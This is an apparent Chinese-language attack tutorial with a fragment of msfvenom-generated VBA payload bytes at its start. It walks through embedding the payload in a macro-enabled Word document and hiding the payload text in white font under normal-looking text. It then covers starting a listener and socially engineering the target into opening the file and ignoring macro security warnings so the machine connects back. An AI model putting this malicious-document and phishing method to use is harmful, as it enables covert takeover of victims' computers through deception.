&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H2C&H30&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H54&H30&H00&H00&H38&H30&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H40&H30&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H40&H30&H00&H00&H00&H00&H00&H00&H9C&H00&H45&H78&H69&H74&H50&H72&H6F&H63&H65&H73&H73&H00&H00&H00&H00&H30&H00&H00&H4B&H45&H52&H4E&H45&H4C&H33&H32&H2E&H64&H6C&H6C&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H92&H0A&H3F&H4C&H21&HDD&HE5&H0B&HEB&H78&H07&H31&HA5&H24&H39&H5D&H33&HDF&H6D&HC2&H4C&H79&HDB&HD6&H0D&H73&H41&H2D&HFF&H21&H60&H81&H4E&H51&HFD&H37&HBD&HE9&HF2&HA7&HEB&HB4&H5D

Windows 机器中新建 word 文档，写入宏脚本

新建 word 文档

创建宏脚本

Alt + F8 快捷键打开“宏”窗口，或者在【视图】菜单中手动打开

自定义一个名称
宏的位置选择“文档”，点击创建

使用 msfvenom 生成的 vba-exe 脚本替换默认生成的脚本

ctrl + s 保存，会提示“无法保存在未启用宏的文档”中

这是因为新建的是普通 word 文档，然后才开启的“宏”，宏文档和普通文档是两种不同的格式，如果开始创建的是“开启宏的文档”就不会有着个弹窗

点击“否”，另存为“启用宏的 word 文档”

写入 payload

将 msfvenom 生成的 payload 复制到 word 工作区

实际上，这时候已经完成了，但是为了更好的伪装，可以继续下面的步骤

将 payload 内容修改为白色字体（便于隐藏）
在首行写入一些其他正常的文本内容（小心不要误改到 payload）

开启监听，等待目标上线

诱导目标打开宏文档

社工目标忽略宏安全警告

目标上线